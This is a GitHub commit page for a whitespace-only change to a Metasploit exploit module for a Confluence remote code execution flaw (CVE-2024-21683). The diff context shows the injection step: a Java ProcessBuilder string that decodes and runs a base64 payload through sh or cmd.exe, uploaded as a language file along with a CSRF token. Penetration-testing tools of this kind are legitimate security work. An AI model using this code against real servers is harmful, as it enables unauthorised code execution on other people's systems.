Skip to content

Commit 0852fbf

Browse files
authored
Remove two whitespaces that snuck in
1 parent 8ee90bf commit 0852fbf

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/multi/http/atlassian_confluence_rce_cve_2024_21683.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -184,10 +184,10 @@ def upload_payload(shell)
184184

185185
# Initialize a multipart form.
186186
payload_form = Rex::MIME::Message.new
187-
187+
188188
# ProcessBuilder string - this will inject the sh/cmd.exe sequence as the first two args and decode the base64 msf fetch payload as the third.
189189
payload_string = "new java.lang.ProcessBuilder(#{shell}, new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(payload.encoded)}'))).start()"
190-
190+
191191
# Add the CSRF token, payload file, and 'newLanguageName' value. Both the 'languageFile' name and the 'newLanguageName' value can be any string.
192192
payload_form.add_part(csrf_macro, 'text/plain', 'binary', 'form-data; name="atl_token"')
193193
payload_form.add_part(payload_string, 'text/plain', 'binary', "form-data; name=\"languageFile\"; filename=\"#{rand_text_hex(10)}\"")

0 commit comments

Comments
 (0)